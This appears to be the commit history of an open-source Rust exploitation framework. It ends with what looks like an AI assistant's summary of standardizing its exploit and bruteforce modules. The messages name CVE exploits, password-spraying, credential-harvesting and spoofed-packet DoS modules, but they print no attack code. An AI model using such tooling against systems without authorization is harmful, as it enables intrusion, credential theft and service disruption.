- assorted module additions + tommy interactive guide

Build: restore Cargo.lock (clean clone was unbuildable without it: transitive
cookie/time conflict). Working dir: clean build (0 warnings), 40/40 tests green.
2026-06-13 01:28:52 +02:00
S.B 929d39ebc4 Delete Cargo.lock
useless junk
2026-06-05 11:27:53 +02:00
S.B 8a8b7e8e5f Sync local dev: new modules + framework hardening & feature fixes
Modules:
- Refactor wpair (WhisperPair / CVE-2025-36911) into a module directory
  (crypto/db/gatt/protocol + model_ids.csv), replacing the single wpair.rs
- Add h3c_bmc suite (firewall/ipmi-hash/kvm-probe/redfish dumps),
  fortinet SSLVPN/magic-token, sharepoint_doc_harvest, m365_activesync_spray,
  ldap_anon_spray, php/git/tapestry webapp modules, h3c_cloudos_api_enum, etc.

Framework hardening / feature fixes:
- Background jobs capture module output (drainer) + wire progress counters
  (ScanCounters); tenant jobs record terminal status on their own JobManager
- SSRF: ssrf_gate distinguishes SSRF_BLOCKED vs TARGET_ERROR; fail-closed
  REST/WS/MCP dispatch; tenant-tagged PQ lifecycle events
- Scheduler: exclusions + service-port precheck on CIDR/file fan-out; accurate
  considered/skipped counters; cancellation-safe permit acquisition
- Mass scan works via shell/CLI/API/MCP (added MCP run_module background-job
  option so long scans don't hit the tool-call timeout)
- Bruteforce workers re-scope OUTPUT_BUFFER; cross-product combo default
- Stores: cred dedup/cap/scrub, loot scrub, workspace protocol scrub,
  spool explicit-owner + write_raw (no-newline spooling)
- Error handling: removed let _/discarded-error patterns; failures are
  distinguishable from negatives
- Removed dead check/CheckResult subsystem, OutputAccumulator, and the no-op
  --output-format flag; CredEntry.valid wired (creds invalidate/validate);
  typed HostUp/ServiceDetected events
- Add .gitignore (build artifacts, local config, engagement data)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-04 16:44:32 +02:00
S.B f229c3bd6c major restructure and future proofin 2026-05-24 20:08:19 +02:00
S.B c899a5e89b Add XMR donation section 2026-05-21 22:17:44 +02:00
S.B 61816e04ab majot fixes 2026-05-10 20:28:09 +02:00
S.B c10eabe496 update and other bug fixes check changelog 2026-05-04 23:18:34 +02:00
S.B 6894c7523c Add alternative command for Bluetooth feature
Added alternative command for running with Bluetooth feature.
2026-04-22 14:09:17 +02:00
S.B 4403218c05 Update panos_authbypass_cve_2025_0108.rs 2026-04-22 14:05:57 +02:00
S.B a373f07870 Update README formatting and section headers 2026-04-22 14:04:32 +02:00
S.B ba92aa5d9e Update README with Bluetooth configuration instructions
Added instructions for turning Bluetooth ON and OFF using cargo commands.
2026-04-22 14:04:05 +02:00
S.B 4efe2a974a Merge pull request #42 from yonasBSD/yonasBSD
fix: Build on FreeBSD.
2026-04-22 14:03:40 +02:00
Yonas 699827a054 fix: Build on FreeBSD. 2026-04-21 18:36:41 -04:00
S.B 799ded9523 Update README.md 2026-04-21 23:21:18 +02:00
S.B ab748265a0 Update Cargo.toml 2026-04-21 21:25:17 +02:00
S.B 22852e571d Merge pull request #40 from s-b-repo/enic-enamle
Enic enamle
2026-04-21 21:24:35 +02:00
S.B 5667949990 Delete src/modules/scanners/amplification_scanner.rs 2026-04-21 20:34:25 +02:00
S.B a2b829f89c Delete src/modules/scanners/banner_grabber.rs 2026-04-21 20:33:54 +02:00
S.B c9b3d331e7 major update read changelog 2026-04-21 17:01:52 +02:00
S.B bb964cc062 massived updates and fixe 2026-04-13 23:06:31 +02:00
S.B cdaea5221e Update Getting-Started.md 2026-04-13 14:37:27 +02:00
S.B 64414efcf8 Update Getting-Started.md 2026-04-13 14:34:37 +02:00
S.B 1fbcf6d4b5 Update Getting-Started.md 2026-04-13 14:34:18 +02:00
S.B 61863cc301 bug fixes 2026-04-08 00:38:29 +02:00
S.B 906808f392 bug patching 2026-04-07 15:30:18 +02:00
S.B b2c6137389 Merge pull request #39 from s-b-repo/delta-wolf
Delta wolf
2026-04-07 07:43:44 +02:00
S.B e232427464 Delete test_servers.py 2026-04-07 07:38:59 +02:00
S.B ab17b25589 Delete test_api_modules.sh 2026-04-07 07:38:46 +02:00
S.B 4762c3cb7f Delete fuzz_api.py 2026-04-07 07:38:33 +02:00
S.B 3d37c0c67d Delete todo.txt 2026-04-07 01:34:19 +02:00
S.B 8b69bb6234 detailed improvement
more info will be in change log
2026-04-07 01:26:05 +02:00
S.B f51d7c111b unifying more stuff and new docs
adding unify support for api and prompt usage and improving. also adding some preformance improvements new documentations and improvement
2026-03-24 16:17:10 +02:00
S.B 587f7a5163 api support improvements and more read
added api support migrated some other stuff to native modules for speed and also because some of them are not getting updates etc UWU also fixed bugs and also check changelog for info
2026-03-22 19:03:35 +02:00
S.B e0b1fbd06c Merge branch 'delta-wolf' of https://github.com/s-b-repo/rustsploit into delta-wolf 2026-03-19 17:35:22 +02:00
S.B fb9ae7f3c2 api migrations and migration from legacy stuff and fixing shiz
migrated away from free rdp lots of improvements there and created native libs feel free to use native libs but contribute  if you improve please add more wider api support and cli and shell payload mutator for api endpoint going to do that   for payloads gens and other stuff later and im also planning some more bug changes and improvement check the api template
2026-03-19 17:35:15 +02:00
S.B ebeb15e2b7 Update README.md 2026-03-16 11:04:56 +02:00
S.B 219f0710eb Merge branch 'delta-wolf' of https://github.com/s-b-repo/rustsploit into delta-wolf 2026-03-16 10:49:03 +02:00
S.B c2c03295d5 updating readme 2026-03-16 10:48:55 +02:00
S.B 12402c61c4 Update README.md 2026-03-16 10:45:50 +02:00
S.B 22aea2de44 qaultity improvements a fix up
unified default prompts and improved scanning and other target selction systems cleaning up bugs and further improvement read change logs
2026-03-09 01:55:23 +02:00
S.B 347fbd71ec Add quick run command for Debian 13
Added quick run command for Debian 13 to README.
2026-03-04 18:23:11 +02:00
S.B c35bcf50c5 delta wolf spawns
added my to do list this is a backup of progress so far fixed alot fo stuff check change log redisgning the way api runs and works fixing modules ooms adding extra security on prompt handling change some stuff this version is not stable yet so please do be aware
2026-03-04 18:19:35 +02:00
S.B ea1112ef4d Update README.md 2026-02-25 15:23:16 +02:00
S.B 3704f6239e Merge branch 'delta-wolf' of https://github.com/s-b-repo/rustsploit into delta-wolf 2026-02-25 09:52:47 +02:00
S.B 13d0ca712c api rework and bug fixes 2026-02-25 09:52:23 +02:00
S.B d03fe5f237 Update README.md 2026-02-17 13:03:28 +02:00
S.B 9e121c51c0 Update README.md 2026-02-17 12:50:53 +02:00
S.B 82b2b087b0 Update README.md 2026-02-17 12:39:18 +02:00
S.B ce6e4f7e35 updating api 2026-02-17 10:48:07 +02:00
S.B f19891e03b Fix version formatting in Cargo.toml 2026-02-13 02:57:21 +02:00
S.B 0d1afe605b Merge pull request #38 from s-b-repo/thekiaboys
Thekiaboys
2026-02-13 02:56:26 +02:00
S.B ab3c86c437 Add files via upload 2026-02-13 02:56:10 +02:00
S.B 7d3f1e8a51 Delete src/modules/creds directory 2026-02-13 02:55:18 +02:00
S.B 00cf535bac Update package version to v0.4.7 2026-02-13 02:38:23 +02:00
S.B 5fff3916e3 Update changelog-latest.md 2026-02-13 02:36:35 +02:00
S.B 7fa215aee0 Update Cargo.toml 2026-02-13 02:34:35 +02:00
S.B 6d69e14982 Update readme.md 2026-02-13 02:33:37 +02:00
S.B 120832102e Update readme with DoS testing enhancements and new exploits
Enhanced DoS testing features and added new exploit modules. Updated documentation for clarity on optimizations and exclusions.
2026-02-13 02:32:40 +02:00
S.B 7ce7f582ce Update README.md 2026-02-13 02:30:26 +02:00
S.B 99ce6d9e7f Add files via upload 2026-02-13 02:29:15 +02:00
S.B dc9f028495 Delete src/modules/scanners directory 2026-02-13 02:28:32 +02:00
S.B 699de58d4f Add files via upload 2026-02-13 02:27:25 +02:00
S.B 655542e36f Delete src/modules/exploits/empty.txt 2026-02-13 02:26:20 +02:00
S.B 4175c164b0 Delete src/modules/creds directory 2026-02-13 02:23:00 +02:00
S.B 1e657765bf Add files via upload 2026-02-13 02:20:46 +02:00
S.B 3cd9840314 Add files via upload 2026-02-13 02:18:38 +02:00
S.B c8d2d254a0 Add files via upload 2026-02-13 02:17:21 +02:00
S.B f7793bc6ed Create empty.txt 2026-02-13 02:16:31 +02:00
S.B c33650e604 Delete src/modules/exploits directory 2026-02-13 02:14:53 +02:00
S.B 4049849a53 Implement prompt_int function for integer input
Add a function to prompt for an integer input with validation.
2026-02-13 00:48:03 +02:00
S.B a1ca9c3e43 Remove is_configured method from totp_config
Removed the is_configured method from TOTP configuration.
2026-02-13 00:47:35 +02:00
S.B 4bdae0b07f Add placeholder for trusted_proxies in main.rs 2026-02-13 00:45:41 +02:00
S.B 4389cf9015 Update job_archive.rs 2026-02-13 00:44:11 +02:00
S.B f292e8c697 Implement ModuleConfig for API module configuration
Added ModuleConfig struct for API-driven execution with methods to manage configuration settings.
2026-02-13 00:43:39 +02:00
S.B 9616e3fea4 Add files via upload 2026-02-13 00:42:44 +02:00
S.B 30072e4ccb Delete src/modules/creds directory 2026-02-13 00:41:48 +02:00
S.B e45c346376 Enhance API with rate limiting and job management
Added new constants for job ID length, TOTP cleanup interval, API key rate limit, and rate limit window. Enhanced IP tracking and rate limiting features, including cleanup tasks and job management improvements.
2026-02-13 00:41:25 +02:00
S.B d139d64bda Refactor and optimize multiple modules for performance
Optimized null_syn_exhaustion and RTSP Bruteforce modules for performance and memory usage. Implemented new IPMI enumeration module with mass scan capabilities and fixed critical bugs in various modules.
2026-02-06 17:02:20 +02:00
S.B 849a724f0c Refactor interactive shell command input handling 2026-02-06 17:00:50 +02:00
S.B 3db864668c Scope RNG usage for probe ID and jitter duration 2026-02-06 16:59:03 +02:00
S.B e04c08e8d5 Refactor stdin reading for command input 2026-02-06 16:58:22 +02:00
S.B 8a035a2f5b Enhance RDP error handling and password processing
Refactor RDP error classification and improve password processing logic for better performance and memory management.
2026-02-06 15:31:34 +02:00
S.B 1afe9f5184 Refactor RTSP bruteforce logic and improve error handling
Refactor RTSP bruteforce logic for better clarity and error handling. Improve concurrency control and normalize target extraction.
2026-02-06 15:03:39 +02:00
S.B 4c954a7f9f Add files via upload 2026-02-06 14:57:29 +02:00
S.B 6a15adb0d2 Refactor packet building and improve IP spoofing
Refactor packet building to ensure random source IP is used for each packet. Update comments and improve socket creation for IP spoofing.
2026-02-06 14:55:46 +02:00
S.B 956e2d23a2 Update mod.rs 2026-02-06 14:55:08 +02:00
S.B c774a4358a Add files via upload 2026-02-06 14:51:32 +02:00
S.B a120f536b6 Update mod.rs 2026-02-06 14:51:00 +02:00
S.B 018f6234bb Enhance API scanner with timeout and error handling
Added configurable timeout for HTTP requests and improved error handling for stdout flushing and file operations. Enhanced endpoint sorting and deduplication logic.
2026-02-06 12:32:12 +02:00
S.B 22f4bcf2eb Add random color display for module listing
Added a helper function to get a random color for module display and updated the module listing to use this function.
2026-02-06 12:30:47 +02:00
S.B 384b09a6af Add subtle crate for timing attack prevention
Added subtle crate for constant-time comparison.
2026-02-04 14:50:20 +02:00
S.B 1b50556331 Update readme with new features and enhancements 2026-02-04 14:49:54 +02:00
S.B 62dbc9e2ec Update changelog-latest.md 2026-02-04 14:48:50 +02:00
S.B 40180206fa Add files via upload 2026-02-04 14:45:49 +02:00
S.B 9aee2764dd Add files via upload 2026-02-04 14:43:36 +02:00
S.B f21264f99c Add files via upload 2026-02-04 14:41:44 +02:00
S.B 7d875ede8e Create t.txt 2026-02-04 14:40:38 +02:00
S.B c214fc0bfb Delete src/modules/t.txt 2026-02-04 14:39:15 +02:00
S.B a96746297c Add files via upload 2026-02-04 14:38:27 +02:00
S.B 96ac4d9a1a Add files via upload 2026-02-04 14:37:44 +02:00
S.B 1a282ee99b Create t.txt 2026-02-04 14:37:08 +02:00
S.B e7fc49d128 Delete src/t.txt 2026-02-04 14:36:09 +02:00
S.B 4804dcc860 Add files via upload 2026-02-04 14:35:39 +02:00
S.B f1f1cf9855 Add files via upload 2026-02-04 14:32:22 +02:00
S.B d250d23f3c Create t.txt 2026-02-04 14:31:12 +02:00
S.B 2ee136e26d Delete src directory 2026-02-04 14:30:52 +02:00
S.B 6110190d8c Add files via upload 2026-02-03 16:12:32 +02:00
S.B 7fa6643c75 Delete src/mod.rs 2026-02-03 16:12:15 +02:00
S.B 8c9105166f Create mod.rs 2026-02-03 16:04:27 +02:00
S.B 5775fbc016 Update changelog-latest.md 2026-02-03 15:26:12 +02:00
S.B b5e5ac088a Update dependencies in Cargo.toml
Added multipart and form features to reqwest and included new dependencies for TOTP authentication and tar archive format.
2026-02-03 15:25:26 +02:00
S.B 85bc679a5b Delete src/s.txt 2026-02-03 15:20:58 +02:00
S.B 8f83e1013b Delete src/modules/te.txt 2026-02-03 15:20:41 +02:00
S.B 9ef5ec403f Delete src/modules/exploits/t.txt 2026-02-03 15:20:29 +02:00
S.B 324d87b575 Add files via upload 2026-02-03 15:19:41 +02:00
S.B a7a61b59db Add files via upload 2026-02-03 15:17:43 +02:00
S.B 9efdcf274d Create t.txt 2026-02-03 15:15:25 +02:00
S.B 0feab02c60 Add files via upload 2026-02-03 15:14:34 +02:00
S.B 0a892be55a Add files via upload 2026-02-03 15:13:43 +02:00
S.B 73f9c8f9a3 Add files via upload 2026-02-03 15:12:48 +02:00
S.B b8b776f12a Add files via upload 2026-02-03 15:12:28 +02:00
S.B 5d156686c6 Create s.txt 2026-02-03 15:11:15 +02:00
S.B 630f123fe0 Delete src directory 2026-02-03 15:10:43 +02:00
S.B aaa02ee3fe Add files via upload 2026-01-28 09:17:35 +02:00
S.B d746c0fa69 Delete src/modules/creds directory 2026-01-28 09:16:52 +02:00
S.B 1f66601843 Update README.md 2026-01-28 08:49:08 +02:00
S.B 386b19a17f Merge pull request #37 from s-b-repo/thekiaboys
Thekiaboys
2026-01-28 08:36:47 +02:00
S.B 9220bdceb5 Update utils.rs 2026-01-28 08:25:10 +02:00
S.B 9431916b8b Update changelog-latest.md 2026-01-28 07:46:46 +02:00
S.B 5f168a79a3 Add files via upload 2026-01-28 07:46:22 +02:00
S.B 63200f3d5e Add files via upload 2026-01-28 07:45:50 +02:00
S.B 978f27e368 Update mod.rs 2026-01-28 07:44:30 +02:00
S.B 40ea4a3a74 Create mongobleed.rs 2026-01-28 07:44:00 +02:00
S.B 90b83e4c29 Add files via upload 2026-01-28 07:42:49 +02:00
S.B e58535d067 Add files via upload 2026-01-28 07:40:59 +02:00
S.B d3596cf9c1 Add files via upload 2026-01-28 07:40:02 +02:00
S.B c1963bd947 Delete src/modules/exploits directory 2026-01-28 07:39:21 +02:00
S.B 5ca83ef795 Add files via upload 2026-01-28 07:38:24 +02:00
S.B c1202e98e9 Delete src/modules/creds/generic directory 2026-01-28 07:37:29 +02:00
S.B 1957eee693 Update api.rs 2026-01-28 07:36:20 +02:00
S.B dc2763d2c4 Update main.rs 2026-01-28 07:35:50 +02:00
S.B 8f2e4adc2d Update config.rs 2026-01-28 07:35:28 +02:00
S.B 1c934adc33 Update utils.rs 2026-01-28 07:35:09 +02:00
S.B f37f5fa8f5 Update shell.rs 2026-01-28 07:34:47 +02:00
S.B a508bcb7dd Merge pull request #36 from s-b-repo/snowball
Snowball
2026-01-28 07:33:50 +02:00
S.B 260b919fba Update shell.rs 2026-01-26 20:35:54 +02:00
S.B ee3d24f6e8 Update changelog-latest.md 2026-01-26 17:09:26 +02:00
S.B cbe7148938 Update utils.rs 2026-01-26 16:40:36 +02:00
S.B 4ec2631a2c Update ftp_bruteforce.rs 2026-01-26 16:39:28 +02:00
S.B 4d6d127045 Update ftp_anonymous.rs 2026-01-26 16:38:51 +02:00
S.B 7da29ae4fe Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-26 16:37:27 +02:00
S.B edef9da2e5 Merge pull request #34 from s-b-repo/pheonix-arta
Pheonix arta
2026-01-26 11:16:50 +02:00
S.B 0bc088d6e5 Update changelog-latest.md 2026-01-26 11:09:44 +02:00
S.B 723241e50e Update Cargo.toml 2026-01-26 11:08:45 +02:00
S.B 63fb9e2387 Update mqtt_bruteforce.rs 2026-01-26 11:08:06 +02:00
S.B bd40afe476 Add files via upload 2026-01-26 11:07:10 +02:00
S.B 537541be89 Delete src/modules/exploits/ruijie directory 2026-01-26 11:06:42 +02:00
S.B 76a44bc3e7 Add files via upload 2026-01-26 10:22:49 +02:00
S.B 176402c12f Delete src/commands directory 2026-01-26 10:22:26 +02:00
S.B 2c67cfe4ee Add files via upload 2026-01-26 10:21:41 +02:00
S.B a4d94476e4 Delete src/modules/scanners directory 2026-01-26 10:21:13 +02:00
S.B 938b613cc1 Add files via upload 2026-01-26 10:20:47 +02:00
S.B 64a0067a36 Add files via upload 2026-01-26 10:19:46 +02:00
S.B 7feccde0b1 Add files via upload 2026-01-26 10:18:18 +02:00
S.B 84ccbb9ce1 Add files via upload 2026-01-26 10:17:22 +02:00
S.B 60a877ca57 Delete src/modules/exploits directory 2026-01-26 10:16:27 +02:00
S.B 2265480f99 Add files via upload 2026-01-26 10:16:01 +02:00
S.B 6de9934070 Delete src/modules/creds directory 2026-01-26 10:15:00 +02:00
S.B e0e2c4d8a9 Update utils.rs 2026-01-26 10:13:54 +02:00
S.B ba160cade8 Update main.rs 2026-01-26 10:13:28 +02:00
S.B 553180eb16 Update shell.rs 2026-01-26 10:13:09 +02:00
S.B 0b17d39a05 Update config.rs 2026-01-26 10:12:38 +02:00
S.B a348d440f8 Update cli.rs 2026-01-26 10:12:22 +02:00
S.B c60d8a69b3 Update api.rs 2026-01-26 10:12:02 +02:00
S.B cd48200b0e Update changelog-latest.md 2026-01-26 10:11:27 +02:00
S.B 566372adae Update readme.md 2026-01-26 10:09:43 +02:00
S.B 9cb1ec0eb7 Update README.md 2026-01-26 10:09:06 +02:00
S.B 5aa35e8fe4 Update Cargo.toml 2026-01-26 10:08:41 +02:00
S.B 7c17a96ba4 Update readme.md 2026-01-23 14:34:33 +02:00
S.B 4985537680 Update changelog-latest.md 2026-01-23 14:34:03 +02:00
S.B 3514bea13c Update README.md 2026-01-23 14:33:20 +02:00
S.B c69ecb237a Merge pull request #33 from s-b-repo/kindred-spirits
Kindred spirits
2026-01-23 14:22:40 +02:00
S.B d61d0987dc Update telnet_bruteforce.rs 2026-01-23 11:37:07 +02:00
S.B 102d618289 Update telnet_auth_bypass_cve_2026_24061.rs 2026-01-23 11:36:30 +02:00
S.B b5d0ce4c70 Update main.rs 2026-01-23 10:28:53 +02:00
S.B 82ff19dc9d Add files via upload 2026-01-23 10:15:09 +02:00
S.B 8d314e6d78 Update mod.rs 2026-01-23 10:12:33 +02:00
S.B aeaa894336 Update changelog-latest.md 2026-01-23 10:06:00 +02:00
S.B 1b407c349f Update changelog-latest.md 2026-01-23 10:05:04 +02:00
S.B 62cfce1b8d Update README.md 2026-01-22 16:36:07 +02:00
S.B c1f4aca340 Update Cargo.toml 2026-01-22 16:35:21 +02:00
S.B b6208db764 Update changelog-latest.md 2026-01-22 16:33:52 +02:00
S.B 66679ee09d Update utils.rs 2026-01-22 16:31:00 +02:00
S.B 4a4ad714b0 Remove proxy functionality from shell context
Removed proxy-related commands and functionality from the shell context, including loading, enabling, disabling, and testing proxies. Updated target setting commands to include shortcuts.
2026-01-22 16:30:22 +02:00
S.B cf95a3db70 Add core module to main.rs 2026-01-22 16:29:41 +02:00
S.B 5434430ad0 Add files via upload 2026-01-22 16:27:47 +02:00
S.B 6d33f0fdaa Delete src/modules/scanners directory 2026-01-22 16:26:44 +02:00
S.B 77124d25a2 Add files via upload 2026-01-22 16:25:33 +02:00
S.B 7ec5089ea8 Delete src/modules/exploits directory 2026-01-22 16:20:55 +02:00
S.B 587e11267a Add files via upload 2026-01-22 16:19:49 +02:00
S.B 65c6ec75b4 Delete src/modules/creds directory 2026-01-22 16:19:07 +02:00
S.B 6bbb9d3048 Add files via upload 2026-01-22 16:18:38 +02:00
S.B de6b598cd9 Delete src/commands directory 2026-01-22 16:18:10 +02:00
S.B d66f33193f Update ftp_bruteforce.rs 2026-01-18 18:53:33 +02:00
S.B be2237e39b Enhance FTP anonymous login checker with mass scan
Added support for mass scanning and improved IP exclusion handling.
2026-01-18 18:52:14 +02:00
S.B f4935c1f9e Update and rename rtsp_bruteforce_advanced.rs to rtsp_bruteforce.rs 2026-01-18 18:50:51 +02:00
S.B b646039f2e Add files via upload 2026-01-18 18:48:13 +02:00
S.B c6c577ed52 Delete src/modules/exploits/ftp directory 2026-01-18 18:47:22 +02:00
S.B 77639bcf8b Update Cargo.toml 2026-01-18 18:46:04 +02:00
S.B 49ab851ffe Add files via upload 2026-01-18 18:45:05 +02:00
S.B 03779dbe64 Update mod.rs 2026-01-18 18:44:35 +02:00
S.B e01e231579 Merge pull request #32 from s-b-repo/esoteric-markdown
Esoteric markdown
2026-01-17 01:06:24 +02:00
S.B 0b31da3384 Bump version from 0.3.5 to 0.4.3 2026-01-17 00:54:39 +02:00
S.B d8e0210d70 Refactor body creation for POST request 2026-01-17 00:46:12 +02:00
S.B 803c19c2af Update ivanti_epmm_cve_2023_35082.rs 2026-01-17 00:45:13 +02:00
S.B 41fd1ec33b Update Cargo.toml 2026-01-17 00:40:16 +02:00
S.B a6de04092a Add files via upload 2026-01-17 00:33:44 +02:00
S.B f08e88055a Delete src/modules/exploits/tplink directory 2026-01-17 00:33:02 +02:00
S.B 6a0446996e Update changelog-latest.md 2026-01-17 00:32:28 +02:00
S.B 9e9c78b1e5 Add module for CVE-2023-35082 exploit 2026-01-17 00:18:05 +02:00
S.B fea19075ce Add files via upload 2026-01-17 00:17:33 +02:00
S.B 5735f90860 Add files via upload 2026-01-17 00:15:38 +02:00
S.B 7df00dc03b Add files via upload 2026-01-17 00:14:56 +02:00
S.B 8d49f2e5cf Add files via upload 2026-01-17 00:13:49 +02:00
S.B 1d548818e6 Delete src/modules/exploits/fortios directory 2026-01-17 00:12:55 +02:00
S.B f66cf16931 Delete src/modules/exploits/fortiweb directory 2026-01-17 00:12:41 +02:00
S.B 9a9b8304cf Rename fortiweb and fortios modules to fortinet and add exim 2026-01-17 00:12:18 +02:00
S.B 51c0251798 Update changelog-latest.md 2026-01-17 00:11:31 +02:00
S.B 32bed1d2a4 Update changelog-latest.md 2026-01-16 23:24:01 +02:00
S.B 9f6d6361eb Add files via upload 2026-01-16 23:22:40 +02:00
S.B d56ad77d1e Delete src/commands directory 2026-01-16 23:22:03 +02:00
S.B 8a493954b6 Refactor build.rs for better module handling
Refactor build script to improve module discovery and dispatch generation.
2026-01-16 23:21:46 +02:00
S.B c247b3b5ab Update Cargo.toml 2026-01-16 23:20:22 +02:00
S.B 6aadd98518 Add files via upload 2026-01-16 23:04:38 +02:00
S.B b1759d0f86 Delete src/modules/exploits/tplink directory 2026-01-16 23:04:13 +02:00
S.B fe15591faa Update changelog-latest.md 2026-01-16 23:03:42 +02:00
S.B 3b4accba35 Update changelog-latest.md 2026-01-16 22:38:10 +02:00
S.B 1534b9aa95 Add command chaining instructions to README
Added command chaining section to README with examples.
2026-01-16 22:36:26 +02:00
S.B a014f9e485 Document command chaining feature
Add section on command chaining in the shell.
2026-01-16 22:35:40 +02:00
S.B 34cb58ee01 Update main.rs 2026-01-16 22:34:12 +02:00
S.B ac8c0e18df Update utils.rs 2026-01-16 22:33:17 +02:00
S.B cb1ff2b4e0 Add files via upload 2026-01-16 22:29:49 +02:00
S.B 7a2af6fdf1 Delete src/modules/scanners directory 2026-01-16 22:28:59 +02:00
S.B 290f859058 Add files via upload 2026-01-16 22:20:41 +02:00
S.B a3bd842971 Delete src/modules/exploits directory 2026-01-16 22:14:54 +02:00
S.B f38aea01c2 Add files via upload 2026-01-16 22:14:19 +02:00
S.B 7b0a246ccc Delete src/modules/creds directory 2026-01-16 22:05:40 +02:00
S.B 718719b7d1 Delete src/test 2026-01-13 16:51:52 +02:00
S.B 2876abdbb1 Update Cargo.toml 2026-01-13 16:51:30 +02:00
S.B 6f98db53a5 Add new exploit modules and upgrade dependencies
Implemented new exploit modules for MongoBleed, NginxPwner, Hikvision, n8n, and FortiWeb, along with various updates and fixes to existing modules. Upgraded dependencies and resolved compilation errors across the project.
2026-01-13 16:50:45 +02:00
S.B c1bce55552 Create LICENSE 2026-01-12 07:17:21 +02:00
S.B c0aec6ed64 Delete LICENSE 2026-01-12 07:16:33 +02:00
S.B dbd2b50ef2 Delete .github/workflows directory 2026-01-05 07:57:41 +02:00
S.B eb2e8542a9 Add pnet dependency and update home for 2024 2026-01-05 07:56:21 +02:00
S.B f02c6a2274 Create changelog-latest.md 2026-01-05 07:55:33 +02:00
S.B 5650be5720 Create changelog.md 2026-01-05 07:55:04 +02:00
S.B 4ee5eeab42 Add files via upload 2026-01-05 00:51:03 -05:00
S.B 818a82982f Add files via upload 2026-01-05 00:47:55 -05:00
S.B f4d7c45f1d Create test 2026-01-05 07:47:04 +02:00
S.B 421b2508a0 Delete src directory 2026-01-05 07:34:14 +02:00
S.B e4066ceea6 Delete changelog directory 2026-01-05 07:30:21 +02:00
S.B 0f2d4cad8a Update README.md 2026-01-05 07:27:56 +02:00
S.B 1a53215512 Update readme.md 2026-01-05 07:26:59 +02:00
S.B 34aa655e36 Create Latest-changelog.md 2026-01-05 07:16:09 +02:00
S.B 1741c043f9 Delete changelog/archive/changelog-2026.md 2026-01-05 07:15:46 +02:00
S.B b1ac4e0190 Create changelog-2026.md 2026-01-05 07:15:28 +02:00
S.B 1b4dfca8e2 Delete changelog/test 2026-01-05 07:14:05 +02:00
S.B a78073381b Delete changelog/archive/test 2026-01-05 07:13:55 +02:00
S.B 17e081eb16 Create changelog.md 2026-01-05 07:13:43 +02:00
S.B 5299059ca8 Create test 2026-01-05 07:12:59 +02:00
S.B d489e5d2e3 Create test 2026-01-05 07:12:43 +02:00
S.B 337d7d5249 Delete changelog/archive/2025 directory 2026-01-05 07:11:31 +02:00
S.B ef5457d00a Add files via upload 2026-01-05 00:11:17 -05:00
S.B 0164912f52 Delete changlog/archived/2025 directory 2026-01-05 07:10:05 +02:00
S.B d62c65e8fb Create changelog.md 2026-01-05 07:09:46 +02:00
S.B cdeed7c799 Delete changelog.md 2026-01-05 07:08:57 +02:00
S.B da075a08ce Merge pull request #30 from s-b-repo/cliptic-raxirtos
Cliptic raxirtos
2025-12-09 23:49:43 +02:00
S.B d91e1d2a25 Update changelog.md 2025-12-09 23:40:56 +02:00
S.B 5d0634670b Add files via upload 2025-12-09 23:40:11 +02:00
S.B d6d9e5e836 Delete src directory 2025-12-09 23:37:51 +02:00
S.B 30396b2414 Merge pull request #29 from s-b-repo/cliptic-raxirtos
Cliptic raxirtos
2025-12-07 20:21:36 +02:00
S.B a24d9c79de Update print statement from 'Hello' to 'Goodbye' 2025-12-07 20:18:51 +02:00
S.B aed7b0b93e Add files via upload 2025-12-07 20:17:33 +02:00
S.B c26a0f116c Update readme.md 2025-12-07 20:16:08 +02:00
S.B 7a781ae2fa Update README with highlights and examples 2025-12-07 20:12:30 +02:00
S.B ba3a6480d2 Update README.md 2025-12-07 20:10:35 +02:00
S.B ae435a2143 Add files via upload 2025-12-07 20:09:41 +02:00
S.B 20b610a1d5 Delete src directory 2025-12-07 20:07:55 +02:00
S.B 9de9f0a8c9 Merge pull request #28 from s-b-repo/more-brute-forcing
More brute forcing


###  arc 2 nimla patching



Analyze and fix ABUS variant1 module - add colored output, standardize features
Analyze and fix ABUS variant2 module - add colored output, standardize features
Review and standardize other exploit modules for consistency
Verify all modules compile and logic is correct
Based on my analysis, here are the key features that should be standardized across exploit modules where compatible:
Colored output using the colored crate for better UX
Timeout configuration for HTTP clients
IPv6 normalization
SSL certificate skip for testing targets with self-signed certs
Informative banners/output with status indicators
Let me update the ABUS variant1 module to have these standardized features:


ABUS Security Camera CVE-2023-26609 Modules
Variant 1 (abussecurity_camera_cve202326609variant1.rs)

Features added:

Colored output using the colored crate for better UX
Display banner with module information
Timeout configuration (10 second default)
Improved prompts with colored formatting
Stage indicators (Stage 1/2/3) for the SSH persistence flow
Better error messages with red coloring for failures
Status-based output - green for success, red for failure
Variant 2 (abussecurity_camera_cve202326609variant2.rs)

Features added:

Colored output using the colored crate
Display banner with module information
Timeout configuration (10 second default)
Input validation - checks for empty username/password
Stage indicators for the SSH persistence flow
Improved user feedback with colored status messages
Other Modules Updated
I also standardized these modules with colored output, banners, timeouts, and improved UX:
ACTi ACM-5611 RCE - Added banner, colored output, port prompts, vulnerability check feedback
AVTech Camera CVE-2024-7029 - Added banner, colored output, improved shell interface
TP-Link WR740N DoS - Added banner, colored output, improved prompts
Zabbix SQL Injection - Added banner, colored output, timing-based detection improvement
Uniview NVR Password Disclosure - Added banner, colored output, improved feedback
Sample Exploit - Added banner, colored output for demonstration
Standardized Features Across All Modules

The following features are now consistently available where compatible:

Feature	Description
Colored Output	Using colored crate for cyan info, yellow warnings, green success, red errors
Display Banners	ASCII art banners showing module name, CVE, and description
Timeout Configuration	Configurable HTTP timeouts (default 10 seconds)
SSL Certificate Skip	danger_accept_invalid_certs(true) for testing self-signed certs
IPv6 Normalization	Proper handling of IPv6 addresses with bracket normalization
Input Validation	Checking for empty required fields
Stage Indicators	Yellow stage markers for multi-step exploits
All modules compile successfully with no warnings from cargo clippy. The code logic remains intact and all original functionality is preserved.


Credential Modules Standardized
Camera Modules
acti_camera_default.rs - Added colored output, display banner, timeout constant, and colored status messages for FTP/SSH/Telnet/HTTP checks
Generic Modules
Module	Changes
ftp_anonymous.rs	Added display_banner(), colored output, timeout constant
ftp_bruteforce.rs	Added display_banner(), updated header styling
sample_cred_check.rs	Added display_banner(), colored output, timeout with danger_accept_invalid_certs
ssh_bruteforce.rs	Already had banner and statistics - unchanged
telnet_bruteforce.rs	Already had comprehensive banner and statistics - unchanged
rdp_bruteforce.rs	Added display_banner(), updated header styling
smtp_bruteforce.rs	Added display_banner(), improved colored output for success/failure
pop3_bruteforce.rs	Already had banner and statistics - unchanged
